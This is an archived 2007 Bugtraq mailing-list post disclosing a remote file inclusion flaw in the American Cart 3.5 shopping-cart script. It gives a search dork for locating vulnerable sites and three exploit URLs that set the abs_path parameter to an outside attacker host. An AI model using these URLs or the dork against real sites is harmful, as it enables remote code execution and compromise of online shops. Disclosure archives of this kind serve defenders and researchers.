american cart 3.* (abs_path) remote file include

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: american cart 3.* (abs_path) remote file include
From: kepledehlah@xxxxxxxxxxxxx
Date: 6 May 2007 16:17:37 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

# american cart 3.5 (abs_path) remote file include
# script Vendor: http://americancart.us
# Discovered by: IbnuSina
# Dork         : "powered by american cart"
=================
exploitz :
http://target.lu/[americanpath]/index.php?abs_path=injekan.lu?
http://target.lu/[americanpath]/checkout.php?abs_path=injekan.lu?
http://target.lu/[americanpath]/libsecure.php?abs_path=injekan.lu?

Prev by Date: phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability
Next by Date: PHPHtmlLib <= 2.4.0 Remote File Include Exploit
Previous by thread: phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability
Next by thread: PHPHtmlLib <= 2.4.0 Remote File Include Exploit
Index(es):
- Date
- Thread